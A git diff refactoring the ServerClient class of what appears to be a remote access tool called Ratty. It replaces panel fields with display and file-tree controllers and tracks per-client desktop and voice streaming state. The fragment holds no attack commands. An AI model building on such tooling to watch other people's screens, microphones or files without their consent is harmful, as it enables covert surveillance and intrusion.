b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java index d55ffef..cb6571a 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java +++ b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java @@ -9,16 +9,15 @@ public final class ServerClient { private String name, os, version; private boolean streamingDesktop, streamingVoice; - private DisplayController displayPanel; - private FileTreePanel treePanel; - final ActiveConnection connection; + final DisplayController displayController; + final FileTreeController fileTreeController; public ServerClient(final ActiveConnection connection) { this.connection = connection; - displayPanel = new DisplayController(connection); - treePanel = new FileTreePanel(); + displayController = new DisplayController(this); + fileTreeController = new FileTreeController(this); } public void logIn(final String name, final String os, final String version) { @@ -27,8 +26,6 @@ public final class ServerClient { this.version = version; loggedIn = true; - - treePanel.setTitle(name); } public void setStreamingDesktop(final boolean streamingDesktop) { @@ -39,10 +36,6 @@ public final class ServerClient { this.streamingVoice = streamingVoice; } - public void setController(final IGuiController controller) { - treePanel.setController(controller); - } - public String getName() { return name; } @@ -71,12 +64,4 @@ public final class ServerClient { return streamingVoice; } - public DisplayController getDisplayPanel() { - return displayPanel; - } - - public FileTreePanel getTreePanel() { - return treePanel; - } - }